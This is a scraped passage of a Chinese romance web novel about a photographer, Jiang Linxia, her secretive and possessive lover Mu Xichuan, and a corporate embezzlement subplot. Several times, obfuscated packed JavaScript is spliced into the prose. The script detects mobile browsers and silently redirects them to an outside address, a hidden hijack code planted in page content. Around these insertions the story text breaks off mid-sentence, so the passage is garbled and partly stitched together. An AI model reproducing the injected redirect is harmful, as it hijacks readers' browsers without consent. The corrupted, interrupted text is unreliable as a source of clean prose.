;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375492|168315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”周笛应着,脸上是藏不住的幸福模样。 她一边喝着奶茶,一边在手机上搜索附近评分高的餐厅:“临夏,你晚上要是没什么安排的话,跟我们一起吃晚饭吧?我发现一家新开的淮扬菜餐厅,看着还不错。” 姜临夏想都没想,直接把头摇成了拨浪鼓:“我可不去,怕被你们俩齁着。” 周笛直接扑了过去:“你个小皮孩儿,今天皮起来没完了?” 俩人一通肢体交流后,周笛挽着孟启的胳膊离开了摄影棚,临走还不忘叮嘱姜临夏:“早点下班回家,记得好好吃饭,知道吗?” 姜临夏比了个敬礼的手势:“知道啦,等下导完片子我就走。” 闹归闹,可看着他们俩在自己面前毫不避嫌的亲昵时,姜临夏的心中除了祝福外,还有两分心酸和八分羡慕。 像这样能够见得光的爱情,是她始终奢求不来的。 -- 六月的最后一天是姜临夏的生日,裴青山亲自下厨,做了不少好菜。 正餐吃完,王艾君又盛了一小碗面条端给姜临夏:“夏夏,过生日得吃碗长寿面,寓意好。” 虽然已经有了饱腹感,但姜临夏还是接过长寿面,呼噜呼噜吃了下去:“谢谢伯母。”被人记挂的感觉,特别好。 一顿饭吃得热热闹闹,饭后姜临夏陪着二老看了会儿电视,新闻联播刚一出来,三人默契地把它当作背景音,聊起了家常琐事。 姜临夏顺嘴问到:“裴临哥最近在国外还好吗?我们时间对不上,有阵子没联系了。” “好着呢,他说过段时间要回国发展啦,不走了,辞职手续都办理得差不多了,等那边工作交接完就能回来。”说起儿子要回国工作的事,王艾君眼里都放起光来。 听见这个消息,姜临夏也挺开心:“裴临哥终于舍得回来啦?那等他回来那天,咱们一块儿去机场接他吧,给他接风洗尘。” “好,都好。”王艾君笑着应道,“你们兄妹俩商量着办。” 从裴家出来的时候,已经差不多九点了,姜临夏不敢再多待,怕打扰二老休息。 王艾君一直把她送上车,还强塞给她一袋子粉玉草莓:“我看你喜欢吃,就给你捡了些出来,拿回家慢慢吃,记得一定要放进冰箱里,不然存不住的。” “知道啦,伯母,您快上楼休息吧,我走啦。” 姜临夏接过袋子,摆摆手,示意她赶快上楼,之后便启动车子,朝着小区大门开去。 在经过家门前的那座悬索桥时,两侧行人拥挤成群,车流被迫放缓速度,姜临夏的车也被堵在其中。 外面人声鼎沸,光怪陆离,可姜临夏隔着车窗向外望去,却有种陌生的疏离感。 尤其是一想到等下到家后,迎接她的将会是无限的寂静和黑暗,心情也莫名跟着低落了起来。 果然,热闹过后的孤独最致命。 在堵了将近二十分钟后,姜临夏终于把车开进了地下车库。走出电梯,她左手提着草莓,右手拇指覆在密码锁的指纹识别区处。 锁芯“咔哒”一声响起后,姜临夏将大门拉开。然而门内却并不是她想象中的一片漆黑--一束鹅黄色的暖光穿过卧室门缝,洒在客厅的地面上。 透过那束微弱的光亮,姜临夏看见沙发上隐约有个人影。 她心里一惊:慕锡川回来了? 8. 第 8 章 姜临夏把草莓和车钥匙通通丢在玄关的柜子上,胡乱踢掉鞋子后,小跑着扑向沙发上的人。 慕锡川伸手接住姜临夏,清冷的声音听不出喜怒:“怎么这么晚才回来,去哪儿了?” “去裴院长家了,吃完饭又陪二老聊了会天儿。”她没有提起生日的事,仿佛这就是跟长辈间的一次普普通通的聚餐。 她不想让慕锡川觉得自己是在暗示他什么。 “嗯。”慕锡川点点头。 他之前听姜临夏说过一些小时候的事,她受了裴院长一家很多恩惠,直到现在也依旧跟这家人有往来。 印象中,裴院长有个儿子,好像跟姜临夏年纪相仿。不过那人很多年前就去国外读书了,一直没回来,慕锡川也从没关注过他。 姜临夏跨坐在慕锡川腿上,一把勾住他的脖子,语气里是止不住的惊喜:“你不是说要2号才回来吗?怎么提前了?”是为了陪她过生日吗? 姜临夏在心里存着疑,却没敢把话说出口,生怕是自己自作多情,成了小丑。 慕锡川向前探着身子,一口含住她圆润的唇珠,不答反问:“你说呢?” 姜临夏试探道:“提前回来,陪我?” “嗯。我提前结束出差,回来陪你,你不高兴?” 没想到,他居然承认了。 “高兴啊!”姜临夏凑到慕锡川的耳边,声音极轻道,“高兴的不得了。”距离之近,只要她微微开合嘴巴,就能触碰到慕锡川的耳廓。 温热的气息喷洒在脖颈处,慕锡川眯了眯眼睛,一把抱住姜临夏,翻身将人放到沙发上。 今晚的慕锡川比之前的每一次都要更加认真,更加倾尽全力,仿佛要将这一周不见的思念,淋漓尽致地发泄在姜临夏身上。 情到深处时,姜临夏双手攀上慕锡川的肩背,面颊绯红,眼神涣散,却依旧努力对上他的视线。 她看着他的眼睛,一字一句认真道:“慕锡川,我爱你。” 慕锡川没有回答,附身亲吻着姜临夏的耳垂,柔声道:“我知道。” --慕锡川,我爱你。 --姜临夏,我知道。 看吧,他们之间的关系,从来就是不平等的。 可偏偏姜临夏什么都懂,却还是像被下了蛊般,沉溺在慕锡川给她营造出来的梦境里,一陷再陷。 她无数次眼睁睁地看着自己沉沦至谷底,却不愿自救。 几度缠绵过后,两个人都已经精疲力尽,相拥着躺在床上。 慕锡川侧着身子,抬手拨开姜临夏额前被汗湿的刘海,拇指在她眼下反复轻抚。 姜临夏再无半点力气,整个人瘫软在慕锡川的怀里,勉强睁开眼睛看着他,眼神迷离。 慕锡川最爱看她每次跟自己做完后这副神志不清的模样,每当这种时候,他才能深切感受到,姜临夏是他的,从头到脚完完整整地独属于他一个人的。 有时慕锡川也能感觉到,自己在姜临夏身上有种固执到近乎疯狂的占有欲,他不知道这样对不对,也不想去管对错。 他只知道自己想要姜临夏,而姜临夏也只能是他的。谁要是敢动了跟他抢人的念头,他就一定会让那个人悔不当初,甚至往后的一辈子里,见了女人都心有余悸。 等姜临夏的气息平稳下来,慕锡川伸手捡起地上的西装外套,从口袋里面抽出一张工作证模样的卡片,放到她面前。 “生日快乐,今年的生日礼物。” “这是什么?”姜临夏从他手里接过卡片,凑近了才看到上面还印着一行小字:《锦绣河山》节目录制邀请函。 再往下就是一些关于节目录制的信息,包括时间、地点、录制周期,以及注意事项,右下角的署名是《锦绣河山》节目组。 姜临夏反复读了几遍文字,看看手里的邀请函,又看看慕锡川,一脸的难以置信:“《锦绣河山》?杨锦婳老师的节目,邀请我去参与录制?” 杨锦婳是位名声很盛的摄影界前辈,早些年给很多明星大咖拍摄过杂志写真,娱乐圈中曾一度以是否跟她合作过来定咖位,其地位之高可见一斑。 同为所以说,从读书那会儿姜临夏就把杨锦婳奉为偶像,所以刚刚在看到邀请函后狂喜到合不上嘴巴,倒也情有可原。 不过,她已经很多年不出现在公众面前了,直到去年底,五十二岁的杨锦婳发起了一个名为《锦绣河山》的真人秀摄影类节目,旨在发掘有潜力的新人,同时推广摄影行业,这才再次回归摄影圈。 姜临夏尝试过向节目组自荐,可那些录制申请都没有得到过回应,寄出去的作品集也都石沉大海。 没想到慕锡川居然能跟杨锦婳这样的大师搭上线,还轻易就把她送上了节目。 猜到她会是这么个反应,慕锡川扯了扯嘴角,轻笑道:“邀请函不是都给你了,你说呢?” “慕锡川你太帅啦!!你是怎么做到的?”姜临夏挺身扑到慕锡川的身上,对着他的嘴巴就是一通啃,这会儿腰也不酸背也不痛了,简直还能再战三百个来回。 慕锡川任由姜临夏发癫胡闹,等她闹够了才抬起手轻抚她的头发,柔声道:“我说过,除了婚姻,你想要什么我都会给你,我只要你乖乖待在我身边。” “我本来就很乖。”姜临夏哼到。 或许是被喜悦冲昏了头脑,又或许是人都有趋利避害的本能,她自动屏蔽掉了那个扎心的字眼。 这一晚,姜临夏一直缠着慕锡川,闹到夜里快零点才安静下来,乖乖躺回慕锡川的怀里。 为了赶在姜临夏生日这天回到陵城,出差这几天慕锡川一直在赶路,将行程压缩到极致,终于赶在六月三十号这天晚上到家。 回来后又跟姜临夏折腾了将近半宿,他实在太累了,躺到床上没一会儿便沉沉睡去。 其实姜临夏也很疲惫,可每每想到再过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375493|168315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个月就能跟偶像一起录节目了,她那双眼睛就不由自主瞪得老大,怎么也睡不着。 姜临夏轻轻拿开慕锡川搭在她身上的手臂,探着身子去够床头柜上的邀请函。 借着微弱的地灯光亮,她又欣赏品味了一遍上面的文字,嘴角刚被压下的弧度再次不自觉地翘了起来。 等姜临夏终于起了些困意,刚躺下准备睡觉的时候,却听见手机忽然响了一声,这么晚了,不知是谁发来的消息。 姜临夏再次起身,拿过手机一看,原来是裴临。 裴临:【夏夏,生日快乐】 自打裴临出国读书后,由于时差和两人工作都越来越忙的关系,姜临夏跟他的联系比从前少了很多。 不过,从小一起长大的情分却丝毫没有减弱,每逢生日或是重要节日,互相之间的关心和问候也永远都不会缺席。 姜临夏心情不错地回复过去:【谢谢哥。你那儿几点啦?】两人有段时间没联系了,既然开了头,她索性挑起话题,多聊几句。 裴临:【快中午了,本来想着晚点给你发消息,怕打扰你睡觉,结果组里临时开大会,这会儿才刚结束,差点儿错过了你生日】 姜临夏回了个大笑的表情,想了想,又补了一句:【听伯母说,你过段时间要回国了?这次回来还走吗?】 裴临:【不走了,我这边的项目已经进入收尾阶段了,估计再有半个月就能彻底结束,然后就回国。】 姜临夏:【太好了,今天伯母还念叨呢,盼着你早点回来团聚。】 聊天界面反复显示着“对方正在输入”,过了好一会儿,对面才终于回过来:【是啊,回国生活能有时间多陪陪父母,况且,我也想追寻属于自己的幸福。】 回国追寻属于他自己的幸福?姜临夏琢磨着,估计裴临喜欢的女孩子在国内吧,两人长期异地的确不现实。 不过,她一向不热衷于探听别人的隐私,既然裴临说的隐晦,她也不便多问。 姜临夏算了算时间,裴临回国的时候应该是八月末,那段时间她应该不会太忙,于是自告奋勇道:【哥,你把航班信息发给我,回国那天我去给你接机。】 很快,姜临夏收到一张截图,上面显示着裴临这次回国的行程安排。 不过,裴临有些顾虑:【夏夏,你要是那天有工作就别来接我了,我到机场后打车回家很方便的,你一个女孩子开车也不安全。】 姜临夏看了演航班日期,八月三十一号。 每个月的最后一天是慕锡川家里固定的家宴,这是慕锡川爷爷定下的日子。慕家的人即便是身在国外,在月末那天都得不远万里回国赴宴,雷打不动,除非他想被老爷子从族谱上除名。 既如此,三十一号那天,姜临夏一上午的工作结束后就再没别的事了。 她回到:【没事的,我那天不忙。那到时候我带着裴伯伯和伯母一块儿去机场,给你接风。】 9. 第 9 章 陵越集团总部,总裁办。 慕锡川坐在椅子里,两眼紧闭,胳膊撑在桌子上,指尖轻揉太阳穴。 开了一上午的会,听着各个业务组针对新项目开发的事吵来吵去,实在让人头疼。 说到新项目,前段时间慕锡川拍下了一块陵城市内大热商圈的地皮,并交由陵越集团总部的建筑团队开发,打造一座公寓式酒店。 其实陵越集团旗下有专门的地产子公司,名叫碧湖地产,由慕锡川的堂弟,慕宸赫任总经理。 但在考虑方案的时候,慕锡川却刻意绕开了碧湖地产,并未让其参与此次的项目开发。 办公室外,陈宇敲完门后习惯性地等了几秒钟,才抱着一摞文件推门进去。 陈宇:“慕总,我来向您汇报一下项目审批进展情况。” 说着,他从怀里抽出一份批文递到慕锡川面前:“这个是返回的容积率批复文件,比咱们之前预期的低了0.1%,但不影响整体效益,回报率也在可控范围内。” “绿化改建的事也跟市政部门协商过了,三个工作日内会给答复,基本上没问题。” 慕锡川随手翻了翻那几页纸,心思全没在上面:“行,你看着办吧。还有其他事吗?” 看出慕锡川状态不好,陈宇赶忙道:“没事了,那慕总您休息,我先出去了。”说着,转身就要往外走。 “等一下。”慕锡川忽然抬头,叫住他,“我让你去查慕宸赫,你查的怎么样了?” 陈宇恍然:“我查过了,慕总。最近一段时间,慕经理的私人账户没什么异常,但碧湖地产的公账向外打款频繁,并且总金额很大,是往年同期的七八倍。” 闻言,慕锡川眉头紧蹙:“公账打款?项目类型是什么?” 陈宇:“主要投资的都是些医药类项目,对了,慕总,我还发现,碧湖地产近期的项目对接方,几乎都是一家名叫皓依药业的公司。” “皓依药业?”慕锡川从未听说过还有这么一家药企,估计规模不大,他问陈宇,“老板是谁?” 陈宇自从发现两家公司业务往来过密后,敏锐察觉出不对劲,于是托人调查过:“皓依药业明面上跟碧湖地产只是普通合作关系,并没有超出合作伙伴以外的私人交情,所有的合同账目也都合法。但我在调查的过程中发现,皓依药业的老板姓丛,他有个女儿叫丛嫣,跟慕经理是高中同学。” 陈宇点到为止,没敢胡乱猜测,他说得隐晦,但慕锡川听懂了其中的深意。 这慕宸赫明显就是在挪用公款,通过项目合作,把公司的资产明目张胆地转移进自己口袋里。 既然碧湖地产公账上的钱款他拿不到,就选择“曲线救国”,把钱投给皓依药业。 过段时间再宣布项目亏损,把假账做好,到时候只要账目合得上,任谁都查不出漏洞来。 等年底汇总时直接跟陵越集团总部的财务部上报亏损额,事情就算了结了。毕竟这几年地产效益不好,谁也不能挨个项目去复盘,况且这点钱对整个陵越集团来说毫不起眼,他赌慕锡川根本就不会注意到他的小动作。 慕锡川点点头:“知道了。你继续跟进一下碧湖地产的情况,把所有空头项目的信息都收集起来,作为慕宸赫挪用公款的证据。”他的确没空跟慕宸赫拉扯,干脆等时机一到,直接送他个大大的惊喜。 陈宇:“好的,慕总。” 慕宸赫这个人野心很大,专爱觊觎那些不属于他的东西,并且总是一而再的挑战慕锡川本来就不多的忍耐力。 加之当年慕锡川母亲的死,跟慕宸赫的母亲有着说不清道不明的微妙联系,如今慕锡川掌权整个慕家,自然不可能再给他这位堂弟任何翻身的机会。 慕锡川曾不止一次警告过慕宸赫,想要在陵城平安无事地度日,就好好在自己的位置上待着,别总想些有的没的。一旦被他发现越了界,舒服日子可就到头了。 只可惜,好良言劝不了该死的鬼。有些人就是蠢而不自知,明明处境濒危,都已经四处漏风了,却还以为自己做得滴水不漏呢。 -- 卡座里,孟启端起一杯雷司令跟秦颂碰了碰杯:“恭喜秦组长拿到新项目,在陵越大显身手,大展宏图!” 周笛也举起酒杯跟上:“大有作为,大才盘盘,大刀阔斧,嗯....还有什么来着?大....大庭广众!” “谢谢。”秦颂瞬间被她逗笑,“不过,你们两个今天是吃了成语词典吗?” 两周前,秦颂向上级部门递交了个提案,是关于公司在建项目的环保补充方案。 方案内容从环保根基出发,治标又治本,确实不错,唯一的美中不足就是会增加额外的投资成本,导致整体回报周期变长。 起初秦颂并没有期待提案真的会通过。 于公,毕竟做企业不是搞慈善,只要能够达到环保要求的最低线,项目就算成功,没有哪个老板会愿意花那个冤枉钱。 于私,那晚他送姜临夏回家,明显得罪了慕锡川,人家做老板的不给他穿小鞋就已经万事大吉了,更别说会为他这种不切实际的想法开绿灯。 结果周五下班前,秦颂意外收到邮件,通知他提案通过,还是由慕锡川亲自特批的,并任命他为项目组组长。 秦颂又惊又喜,干脆约上孟启和周笛一起庆祝。 几杯葡萄酒下肚,秦颂带着点儿微醺的醉意,靠在沙发里,听台上的驻唱歌手自弹自唱一首民谣。曲调轻松悠扬,配上此刻心境,是打工人难得的快活时光。 他正沉浸在这份悠然自得里,一转头却刚好看见慕锡川从外面进来,身边还簇拥着几个年纪相仿的男人。见几人说笑间氛围随意,估计是关系不错的朋友。 秦颂有些犹豫,不知该不该主动上前打招呼,可还不等他纠结出结果,就先对上了慕锡川扫过来的视线。 既然已经被他看见,秦颂不好再装傻充愣,赶忙站起身来,往慕锡川那边走去。 说实话,再次和慕锡川正面对上,秦颂还是有些紧张,那人身上有种神奇的气场,哪怕只是被他轻轻看了一眼,都会给人一种无形的压迫感。 秦颂硬着头皮上前,毕恭毕敬地对慕锡川道:“慕总,您跟朋友来玩儿?” 慕锡川没有回答他这个显而易见的问题,反问道:“秦经理也是跟....朋友来的?”说着,还歪头朝秦颂身后看去,像是要看清楚他究竟是跟哪个朋友一起来的。 自从上次的事之后,两人都对“朋友”这个词有着一言难尽的敏感,这一点上倒是默契十足。 似乎是急于自证,秦颂指了指身后不远处的卡座,对慕锡川解释道:“慕总,我的两个朋友在那边呢。昨天方案被您特批通过,一时高兴,就叫上朋友一块儿出来喝喝酒,庆祝一下。” 说到项目的事,秦颂又补充了一句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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另一边,今天是曹洋生日,几个发小打算去万象酒吧小聚,下班时间刚过,孙耀南就冲到陵越大厦,把慕锡川“绑”来了酒吧。 这会儿慕锡川斜倚在沙发里,一边喝酒,一边听几个朋友围坐闲聊,周身透着慵懒劲儿。 不知看见了什么劲爆新闻,对面几个人头挨着头凑到一起,眼睛紧盯住手机屏幕,越看越放光。 寿星曹洋忽然抬起头,举着手机,环视了一圈在座的几位发小:“这姑娘也太漂亮了吧,居然是个摄影师,我看她直接进娱乐圈都行,当个花瓶也好啊,看着就赏心悦目。你们有谁认识她吗?能给我牵个线吗?我想追!”脸上写满了期待。 看了眼照片就想追人,有这么好看吗? 孙耀南将信将疑地伸长了脖子,想看看到底是哪位神仙下了凡,结果刚一探头过去,就看见手机屏幕上赫然出现姜临夏的脸。 他抢过手机,仔细看了一遍,原来《锦绣河山》节目组几分钟前刚发了条微博,官宣全新一组参与录制的嘉宾,而姜临夏就在其中。 他拍了拍曹洋的肩膀,换上一副钦佩的表情,幸灾乐祸道:“你现在连慕哥的人都敢抢,我看你是牛了掰了。” 如同嘴巴里塞了八颗鸡蛋,曹洋张大了嘴巴,惊讶道:“她是慕哥的人?我靠!慕哥,你什么时候谈恋爱了?怎么也没听你说过啊?” 慕锡川仰头喝下一口酒,没理他,不过这回换成孙耀南合不上嘴了。 他后知后觉般看着慕锡川:“你让我找我爸帮忙跟杨锦婳牵线,还给了节目组那么多赞助经费,就是为了让姜临夏参加录制?” 闻言,慕锡川挑挑眉,没有否认。 “靠!”孙耀南一拍大腿,“你花了一千万,就为了给姜临夏买个席位?你和她来真的啊?” 10. 第 10 章 慕锡川用看傻子的眼神看着孙耀南:“你有意见?” 孙耀南:“我哪敢有什么意见啊,就是,就是....你不是说你不结婚吗?怎么,为爱转性了?” 慕锡川:“我什么时候说过我要结婚了?” 孙耀南:“那你对她这么舍得?” 慕锡川不想再继续这个话题,直截了当道:“我钱多,不行?” 孙耀南无言以对:“行行行,您有钱您说了算。” 不过,无语归无语,孙耀南对着手机端详了一番,不得不承认:“难怪曹洋想追,姜临夏是真漂亮,比那些女明星都好看。” 说着,他又把手机递到慕锡川面前:“不过慕哥,你真放心把她送进娱乐圈啊,就不怕被人骗走?我看这期嘉宾里还有个男演员呢,叫什么郑旭泽,最近特火,要颜值有颜值,要身材有身材,俩人密联一周,朝夕相处的,你就不担心....” 眼看着慕锡川的脸色越来越难看,曹洋赶紧捂住孙耀南的嘴:“耀南,你别乱说,郑旭泽再好还能比慕哥好吗?慕哥也有颜有身材,还比郑旭泽有钱,姜小姐怎么可能看上别人?” “就是就是,耀南你是不是喝多了?都开始说胡话了。” 说话间,几人一直在观察慕锡川的表情,生怕孙耀南这几句没深浅的话把他惹怒。 不过,慕锡川倒没什么太大的反应,只是冷笑一声:“敢动我的人,除非他不想要前途了。” 说完,放下手里的酒杯,起身离开,留下几个人面面相觑。 -- 慕锡川进门的时候,姜临夏正蹲在地上收拾行李。 现在已经是七月底,距离她接到节目组的正式邀请,已经过去快一个月了,再有不到一周的时间就要动身进组了。 看着她把衣服一件件从衣橱里摘下来,塞进行李箱,慕锡川心中忽然有种异样的感觉。 他皱了皱眉,问姜临夏:“怎么现在就开始收拾了?不是还有一周才进组?” 姜临夏正费着劲儿地整理一件粉色短袖衬衫,胸前那只巨大蝴蝶结被压出了褶皱,得赶紧熨烫平整才行。 她没抬头,一边用手去扯褶皱的地方,一边应道:“前后加起来差不多要去十天呢,东西不能带少了。还要准备一些节目里穿的衣服,上镜嘛,得穿得漂漂亮亮的才行,临时弄哪里来得及?” 慕锡川从后面将人抱住,低下头,下巴抵在姜临夏的脖颈处:“穿那么漂亮给谁看?” 他喝了酒,磁性的声音里带着几分沙哑,落在姜临夏耳朵里,像是带着小钩子般,挠得她五脏六腑都痒痒的。 姜临夏心下一片柔软,故意道:“给观众看,给路人看,不行啊?” 慕锡川闭着眼睛:“我要说不行呢?” 姜临夏偏过头,看着他的侧脸,笑道:“怎么,慕总这是吃醋了?” 想到刚刚在酒吧里孙耀南的那番话,姜临夏马上就要进组拍摄了,这整整一周的时间里,她都要跟别的男人朝夕相处,还会和他们一起吃饭、说笑.... 慕锡川忽然有些后悔帮姜临夏这个忙,早知道就不送她去录制节目了。有时候还真想把人给藏起来,让她每天只能和自己见面。 慕锡川轻轻叹了口气:“是啊,醋死了。”无奈又认栽的语气,听得姜临夏有些恍惚。 虽然明知道不可能,但她还是没忍住,自不量力地试探道:“慕锡川,你再这样,我会以为你爱上我了。” 闻言,慕锡川像是被逗笑般,在她耳边轻哼一声:“你也喝酒了?” 果然.... 姜临夏心中一阵苦笑,刚刚她居然还着心存幻想,以为慕锡川会有一天为了她而改变....真是可笑。 他似乎总是这样,对姜临夏有着极强的占有欲,可一旦姜临夏提到爱,他又会自动避开,或是一盆冷水兜头泼下。 姜临夏时常觉得捉摸不透这个人究竟在想什么,可只上床、不说爱,又是他们之间从一开始就达成的共识,是她不守约定在先的。 姜临夏心里有火却发不出,有种搬起石头砸自己脚的无力感。 又无言地抱了一会儿,慕锡川直起身来:“我去洗澡。你哪天的航班?” 姜临夏想了想:“下个月三号。”也就是六天后。按照节目组的要求,各位嘉宾需要提前一晚进组报道。 慕锡川点点头:“好,三号我送你去机场。”说完,头也不回地进了浴室。 看着他走远,背影里莫名带着股决绝的意味,姜临夏心间升起几分失落。 好像每次慕锡川离开公寓的时候,也是用这样的背影对着她,他从来没有走出一半又回头去看姜临夏的时候,所以也根本不知道,其实每次他离开后,姜临夏都会站在门口,目送他进电梯。 即便偶尔两人吵架,慕锡川推门而去,她也会透过猫眼悄悄看他。是不舍,是希冀,也是爱到极致的无奈。 今晚慕锡川杂七杂八地喝了不少品类的酒,洗完澡后醉意更深,从浴室出来就直接躺在床上睡着了。 看着他熟睡的侧颜,姜临夏忽然觉得陌生,抬了抬手想要触碰,犹豫片刻后,还是收了回来。 明明是同床共枕的两个人,可他们之间的距离却始终相隔很远。她好像从来就不知道慕锡川在想什么。他有很多面,但留给她的,却永远只有床上这一面。 姜临夏忽然意识到,除了慕锡川这个名字外,自己好像对他这个人一无所知。慕锡川就像是一张白纸一样摆在她的面前,连个简易说明书都没舍得印上。 而慕锡川对她的过往似乎也并无兴趣,这四年来,他甚至从未尝试着打探过一点姜临夏的隐私。 他唯一知道的姜临夏是个孤儿,还是因为她偶尔会去裴院长家吃饭,主动向慕锡川提起的。 同床共枕了整整四年的两个人,竟然如此陌生,不知是可悲还是可笑。 姜临夏心中隐约出现一个预感--她和慕锡川之间的缘分,就要尽了。 不知过了多久,困意袭来,姜临夏探着身子去关慕锡川那侧的夜灯。忽然听见“叮咚”一声响,在寂静的深夜里显得尤为清晰。 慕锡川的手机进来了一条新消息。 姜临夏一向没有窥探别人隐私的癖好,可她低头看了眼沉沉睡去的慕锡川,竟鬼使神差地拿起了他的手机。 她不知道慕锡川的手机密码,但锁屏页可以显示部分信息详情:发消息的人名叫许烛,是姜临夏没听过的名字,但一眼看去就知道是个女人。 许烛:【阿川,下周我就要回国了,你会来机场接我吗?】 阿川? 姜临夏不清楚他们之间到底是什么关系,老相识?还是旧情人?但对方既然能称呼慕锡川为“阿川”,怎么看都应该是很熟悉很亲近的关系了。 “许烛。”姜临夏在黑暗中小声重复着那人的名字,默默记在了心中。 -- 进组前的最后几天,慕锡川一直赖在姜临夏的家里。 两人从早到晚,从日暮到天光渐亮,不停地折腾着、放纵着,沉浸其中,乐此不疲,仿佛要将接下来这小半月的情愫都在这几天里发泄殆尽。 说来奇怪,慕锡川对其他女人毫无兴趣,那些主动来投怀送抱的也只会让他心烦。可每每在面对姜临夏的时候,他却似乎总有磨不尽的兴趣,和用不完的精力。 看着镜中的自己,身体不同部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375495|168315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位都被慕锡川留下了印记,颜色深浅不一,一层叠着一层,简直触目惊心。 姜临夏不禁皱了皱眉头,抱怨道:“慕锡川!看看你的杰作,我这个样子还怎么出门了?” 两人刚分开没两分钟,慕锡川又紧紧贴了上来,他一边轻吻着姜临夏的耳垂,一边柔声道:“出门做什么?我还没睡够呢。” 低沉的声音极具蛊惑性,让姜临夏如同坠入漩涡般,欲罢不能,双手不自觉攀上慕锡川的脖子。慕锡川顺势将人抱起,放到沙发上,覆身上去.... 以前每次听他说要把自己关起来,姜临夏都只当是情到深处时走肾不走心的情话。可现在,她丝毫不怀疑,这个人只要说得出,就一定能做得到。 出发那天一早,闹钟响过两遍,姜临夏依旧赖在床上不肯起。 或许是马上就要分别的缘故,姜临夏把自己那点儿撒娇技能全都和盘托出了,搂着慕锡川的脖子耍赖道:“不想起床,不想去机场。” 慕锡川无奈地看着她:“那你想去哪?” 姜临夏:“想一直待在你身边。” “姜临夏,我的忍耐力很有限,如果你还想去录节目,现在最好别来招惹我。否则....”说着,他忽然弯下腰,把姜临夏压在身下。 感受到慕锡川的呼吸逐渐加重,姜临夏意识到自己玩儿大了,赶紧用力将人推开,一溜烟地跑进了浴室。 “我要洗漱了,不跟你玩儿了。”说着,又很玩不起地“咔哒”一声把门锁上。 等姜临夏磨磨蹭蹭换好鞋子,慕锡川已经先提着行李箱下楼,坐进车里等她了。 “你是第一个体验过我叫醒服务和送机服务的人。”慕锡川一边帮她系好安全带,一边随口说道。 姜临夏眨眨眼睛,原本困顿的精神也骤然振奋起来:“真的?”很快又得寸进尺道,“那我会是唯一一个有此殊荣的人吗?” 慕锡川在她唇上轻啄一口:“看你表现。” 路上几乎没什么车,慕锡川开得十分顺畅,比预计提早了半个小时就抵达了机场。 姜临夏不想这么早进去候机,于是解开安全带,抱着慕锡川的胳膊,缠着他多陪自己待会儿。 难得见她这么粘人,慕锡川把两人的座椅靠背放平,陪她躺在车里望天儿。 姜临夏正想问他十二号会不会来接机,可话还没出口,慕锡川的电话铃声忽然响起。 因为要赶早班飞机,他们两个不到七点钟就出发了,这会儿停好车子也不过才七点半而已。 谁会这么早就给慕锡川打电话呢? 助理?还是家人? 姜临夏不动声色地挪了挪身子,想离慕锡川更近一点,企图探听电话那头的人是谁。 却无奈慕锡川的手机隔音太好,她连对方是男是女都听不出,更别说通话内容了。 挂断电话后,慕锡川坐起身,对姜临夏道:“我临时有点事,不能陪你了,我先送你进去。” 姜临夏有些不高兴:“谁一大早的就给你打电话啊?有什么事这么重要,就差陪我这半个小时了?” 慕锡川没继续解释,只说了声“乖”便径自下车,从后备箱里取出了姜临夏的行李箱。 刚把人送到安检口,多一秒钟都没停留,就匆忙返回了地下停车场。 看着他匆匆离去的身影,姜临夏刚想在心里吐槽这人的不靠谱,一个人名慢慢浮现在她的脑海中--许烛。 姜临夏回想起几天前的那个晚上,一个叫许烛的女人发消息给慕锡川,说自己下周回国,还问慕锡川会不会去机场接她。 她那时说的下周,是今天吗? 所以刚刚那通电话,也是她打来的吗? 11. 第 11 章 过完安检后,姜临夏就坐在VIP休息室里发呆,眼神虚乎飘渺没有焦点,脑袋里想的全都是那个未曾谋面,只知道名字的女人。 直到地面工作人员过来催促,她才回过神,推着行李箱小跑着上了飞机。 在经过将近三小时的飞行后,飞机落地宁城国际机场。 节目组给每位嘉宾都安排了商务车去接机,接上姜临夏后,车子驶离机场,穿过宁城的大街小巷,朝着市中心的方向开去。 一段全新的旅程正式开始。 看着窗外的景色不停变换着,路两旁高耸入云的梧桐树飞速倒退,姜临夏的思绪也逐渐随之飘远。 从小到大她去过的地方并不多,读书的时候没钱,别人出去玩的时间里,姜临夏都在打工赚生活费。 后来毕业了,的确赚了不少钱,可她又因为不想跟慕锡川分开,放弃了很多个离开陵城的机会。 其实就连当初姜临夏决定留在陵城,也是因为慕锡川在那儿,她就自动自觉地把定居陵城当成是毕业后的唯一选择。 仔细想想,她好像从来都没有自己的热爱,也从没自己真正做过什么决定,永远都是跟在慕锡川的屁股后面跑。 